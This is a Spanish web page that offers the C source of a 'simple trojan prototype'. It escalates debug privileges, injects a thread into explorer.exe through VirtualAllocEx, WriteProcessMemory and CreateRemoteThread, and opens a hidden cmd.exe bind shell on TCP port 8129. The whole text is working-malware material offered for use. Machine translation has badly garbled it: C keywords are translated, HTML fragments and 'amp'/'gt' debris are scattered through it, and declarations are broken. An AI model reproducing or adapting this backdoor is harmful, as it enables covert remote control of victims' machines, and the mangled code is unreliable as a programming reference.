Código fuente de Socketrecv
Agregue su propio XXX al código base de un prototipo troyano simple, agregue un shell de excepción y realice algunas modificaciones menores. .
# incluir ltwinsock2.h gt
#pragma comentario (lib, " ws2_32.lib ")
# incluir ltwindows
# incluir ltShlwapi.h gt
#pragma comentario (lib, "Shlwapi.lib")
# incluir lttlhelp32.h gt
# incluir ltstdio.h gt
# include ltstring.h gt
//Estructura de parámetros;
typedef struct _RemotePara
{
DWORD dwLoadLibrary
DWORD dwFreeLibrary
DWORD dwGetProcAddress
DWORD dwGetModuleHandle
DWORD dwWSAStartup p>
DWORD dwSocket
DWORD dwhtons
DWORD dwbind
DWORD dwlisten
DWORD dwaccept
DWORD dwsend
DWORD dwrecv
DWORD dwclosesocket
DWORD dwCreateProcessA
DWORD dwPeekNamedPipe
DWORD dwWriteFile
DWORD dwReadFile
DWORD dwCloseHandle
DWORD dwCreatePipe
DWORD dwTerminateProcess
DWORD dwMessageBoxchar strMessageBox[12];
char winsockDll [16];
char cmd[10];
char Buff[4096];
char telnetmsg[60];
} RemotePara//Mejorar los permisos de depuración a nivel de aplicación
BOOL enable privilegio(HANDLE hto ken, LPCTSTR szPrivName, BOOL fEnable);
// Según el nombre del proceso Obtener el ID del proceso .
DWORD GetPidByName(char * SZ name); //Ejecutor de hilo remoto
DWORD _ _ stdcall thread proc(remote Para * Para)
{< / p>
WSADATA WSAData
Conversión de palabras;
Socket listeningSocket
Cliente SOCKET SOCKETstruct sockaddr _ en servidor _ addr
struct sockaddr _ en client _ addrint iAddrSize = sizeof(client _ addr); SECURITY _ ATTRIBUTES sa handle thread pipe 1
Proceso hwritepipe
Proceso hReadPipe2 p>
Proceso hWritePipe2STARTUPINFO si
Process_Information información del proceso;
Unsigned long lBytesRead = 0; typedef hin instancia(_ _ stdcall * cargar biblioteca)(char *);
typedef FARPROC(_ _ stdcall * PGetProcAddress)(HMODULE, LPCSTR);
typedef h instancia(_ _ stdcall * PFreeLibrary)(h instancia);
typedef hin instancia(_ _ stdcall * PGetModuleHandle)(HMODULE); FARPROC PMessageBoxA
FARPROC PWSAStartup
FARPROC PSocket
FARPROC Phtons
FARPROC Pbind
FARPROC Presten;
FARPROC Paccept
FARPROC Psend
FARPROC Precv
FARPROC Pclosesocket
FARPROC PCreateProcessA
FARPROC PPeekNamedPipe
FARPROC PWriteFile
FARPROC PREReadFile
FARPROC PCloseHandle
FARPROC PCreatePipe
Terminar proceso;cargar biblioteca loadlibrary func =(cargar biblioteca)Para- gt;dwLoadLibrary
PGetProcAddress GetProcAddressFunc =(PGetProcAddress)Para - gt;dwGetProcAddress
PFreeLibrary freelibrary func = (PFreeLibrary)Para- gt;dwFreeLibrary
PGetModuleHandle GetModuleHandleFunc =(PGetModule
Handle)Para- gt; dwGetModuleHandleLoadLibraryFunc(Para- gt; winsockDll); PWSAStartup = (FARPROC) Para- gt; dwWSAStartup
PSocket = (FARPROC)Para->dwSocket
Phtons = (FARPROC)Para->dwhtons
Pbind = (FARPROC)Para->dwbind
Plisten = (FARPROC)Para->dwlisten
Paccept = (FARPROC )Para->dwaccept
Psend = (FARPROC)Para->dwsend
Precv = (FARPROC)Para->dwrecv
pclosesocket = (FARPROC)Para - gt; dwclosesocket
PCreateProcessA = (FARPROC)Para->dwCreateProcessA
PPeekNamedPipe = (FARPROC)Para - gt;dwPeekNamedPipe
PWriteFile = (FARPROC)Para - gt;dwWriteFile
PReadFile = (FARPROC)Para->dwReadFile
PCloseHandle = (FARPROC)Para - gt;dwCloseHandle
PCreatePipe = (FARPROC)Para ->dwCreatePipe
PTerminateProcess = (FARPROC)Para->dwTerminateProcess
PMessageBoxA = (FARPROC)Para->dwMessageBoxnVersion = MAKEWORD(2,1);
PWSAStartup(nVersion, (LPWSADATA) & wsa data);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if (escuchar SOCKET == INVALID _ SOCKET) devuelve 0; server_addr.sin_family = AF_INET;
server_addr.sin_port = Phtons((Unsigned Short)(8129));
server_addr.sin _ addr s _ addr = in addr _ ANY; if (Pbind (listenSocket, (struct sockaddr *) & server_addr, sizeof (SOCKADDR_IN))! = 0) devuelve 0;
if(Plisten(listenSocket, 5)) devuelve 0;
socket de cliente = p aceptar(socket de escucha, (struct sockaddr *) amp; dirección del cliente .
iAddrSize);
//Psend(clientSocket, Paragt; telnetmsg, 60, 0)); if (!PCreatePipe(amp; hReadPipe1. hwritepipe 1; sa, 0)) devuelve 0; >
Si (!PCreatePipe(&hReadPipe2.hwritepipe 2&sa,0)) devuelve 0; zero Memory(&si,sizeof(si));//ZeroMemory es una función de biblioteca de tiempo de ejecución de C que se puede llamar directamente.
si .dw flags = STARTF _ USESHOWWINDOW | STARTF _ USESTDHANDLES;
si.wShowWindow = SW _ HIDE
si hstd input = hread pipe 2;
si . hstd salida = si . hstd error = hwritepipe 1; if (!PCreateProcessA(NULL, Para->cmd, NULL, NULL, 1, 0, NULL, NULL amp;si ampProcessInformation)) 0;
while(1) {
Configuración de memoria (Para->;Buff, 0.4096);
PPeekNamedPipe(hreadpipe 1, Para-gt;Buff , 4096&lBytesRead,0,0);
if(lBytesRead) {
if (!PReadFile(hReadPipe1, Para-gt; Buff, lBytesRead & lBytesRead, 0) )break;
if (!Psend(clientSocket, Para- gt; Buff, lBytesRead, 0))break;
}else{
lBytesRead=Precv (clientSocket, Para -gt; Buff, 4096, 0);
if (lBytesRead lt; = 0) desconectado
If (!PWriteFile(hWritePipe2, Para-gt; Buff, lBytesRead & lBytesRead) , 0))romper;
}
} PCloseHandle(hwritepipe 2);
PCloseHandle(hreadpipe 1); (tubo de rosca 2);
PCloseHandle(hwritepipe 1);
pclosesocket(escucha socket);
pclosesocket(zócalo de cliente) // PMessageBoxA(NULL); , Para- gt; strMessageBox, Para- gt; strMessageBox, MB_OK); >
LPSTR lpCmdLine,
int nCmdShow)
{
const DWORD THREADSIZE = 1024 * 4;
p>DWORD escritura de bytes;
void * pRemoteThread
Procesamiento hToken, hRemoteProcess, hThread
HINSTANCE hKernel, hUser32, hSock
RemotePara myRemotePara, * remoto
Para
DWORD pIDOpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, amphto ken);
EnablePrivilege(hToken, SE_DEBUG_NAME, TRUE); //Obtener el identificador de proceso especificado y establecer sus permisos es PROCESS_ALL_ACCESS; .
pID = GetPidByName("EXPLORER.EXE");
if(pID == 0) devuelve 0
hRemoteProcess = open PROCESS(PROCESS _ ALL; _ ACCESS, FALSE, pID);
Si (!hRemoteProcess) devuelve 0; //Asignar memoria virtual en el espacio de direcciones del proceso remoto
pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE , MEM_COMMIT | MEM_RESERVED, PAGE_EXECUTE_READ-WRITE);
Si (!pRemoteThread) devuelve 0 //Escribe el ejecutor del hilo ThreadProc en el proceso remoto.
if (!WriteProcessMemory(hRemoteProcess, pRemoteThread, ampThreadProc, THREADSIZE, 0)) devuelve 0; memoria cero (amp; myRemotePara, sizeof(remote para)); ("kernel 32 . dll");
myremotepara . dwloadlibrary =(DWORD)GetProcAddress(hKernel, "loadlibrary a");
myremotepara . , "biblioteca gratuita");
myremotepara. dwgetprocaddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
myremotepara. dwgetmodulehandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA "); myremotepara . dwcreateprocessa = (DWORD) GetProcAddress (hKernel, " CreateProcessA ");
myremotepara . dwpeeknamedpipe = (DWORD) GetProcAddress (hKernel, " PeekNamedPipe ");
myremotepara .dw WriteFile =(DWORD)GetProcAddress(hKernel, "WriteFile");
myremotepara .dwreadfile =(DWORD)GetProcAddress(hKernel, "ReadFile");
myremotepara .dwclosehandle = (DWORD)GetProcAddress(hKernel, " CloseHandle ");
myremotepara . dwcreatepipe = (DWORD) GetProcAddress (hKernel, " crear tubería "); GetProcAddress(hKernel, "terminar proceso"); hSock = LoadLibrary(" wsock 32 . dll ");
myremotepara
myremotepara.dw socket=(DWORD)GetProcAddress(hSock, "socket");
myremotepara.dwhtons=(DWORD)GetProcAddress(hSock, "htons");
myremotepara .dwhtons=(DWORD)GetProcAddress(hSock, "htons");
p>
myremotepara.dw bind=(DWORD)GetProcAddress(hSock, "bind");
myremotepara.dw escucha=(DWORD)GetProcAddress(hSock, "escuchar");
myremotepara.dw aceptar=(DWORD)GetProcAddress(hSock, "aceptar");
myremotepara.dw recv=(DWORD)GetProcAddress(hSock, "recv");
myremotepara . dwsend = (DWORD) GetProcAddress (hSock, " enviar ");
myremotepara . dwclosesocket = (DWORD) GetProcAddress (hSock, " closesocket "); ");
myremotepara . dw messagebox = (DWORD) GetProcAddress (huser 32, " messagebox a "); strcat (myremotepara . strmessagebox, "¡Éxito!\\0");
strcat(myRemotePara.winsockDll, "wsock 32.dll\\0");
strcat(myRemotePara.cmd, "cmd.exe\\0");
strcat( myRemotePara.telnetmsg, "¡Conexión exitosa!\\n\\0"); //Escribe en el proceso de destino
pRemotePara = (remote para *)VirtualAllocEx(hRemoteProcess, 0, sizeof(RemotePara), MEM_ Submit , page_read-write);
Si (!pRemotePara) devuelve 0;
Si (!WriteProcessMemory(hRemoteProcess, pRemotePara, ampmyRemotePara, sizeof myRemotePara, 0)) devuelve 0; Iniciar el hilo
hThread = CreateRemoteThread(hRemoteProcess, 0, 0, (DWORD(_ _ stdcall *)(void *))pRemoteThread, pRemotePara, 0, ampbyte_write);
mientras (1) {}
Biblioteca gratuita (hKernel);
Biblioteca gratuita (hSock);
Biblioteca gratuita (huser 32);
cerrar identificador(hRemoteProcess);
cerrar identificador(hto ken); devolver 0;
} BOOL habilitar privilegio(HANDLE hToken, LPCTSTR szPrivName, BOOL fEnable){
TOKEN _ PRIVILEGIO
S tp
tp. PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName, amptp. Permissions[0].luid);
tp. Permisos[0]. Atributos = fActivar? SE_private_ENABLED: 0;
AdjustTokenPrivileges(hToken, FALSE, amptp, sizeof(tp), NULL, NULL);
return((GetLastError()== ERROR _ SUCCESS));
}DWORD GetPidByName(char *szName)
{
HANDLE hProcessSnap = INVALID _ HANDLE _ VALUE;
entrada de proceso 32 pe32 = { 0 };
DWORD dwRet = 0; hProcessSnap = createtoolhelp 32 instantánea (th 32 cs _ proceso instantáneo, 0
if(hProcessSnap == INVALID _ HANDLE _ VALUE); ) devuelve 0; pe32 . dwsize = sizeof(entrada de proceso 32);
if(Process32First(hProcessSnap, amppe32))
{
hacer
{
if(StrCmpNI(szName, pe32.szExeFile, strlen(szName))==0)
{
dw ret = pe32 .th 32 ID de proceso;
romper;
}
} while(proceso 32 siguiente(hProcessSnap, amppe32));
}
De lo contrario, devuelve 0; if(hProcessSnap!= INVALID _ HANDLE _ VALUE)close HANDLE(hProcessSnap);
Devuelve dwRet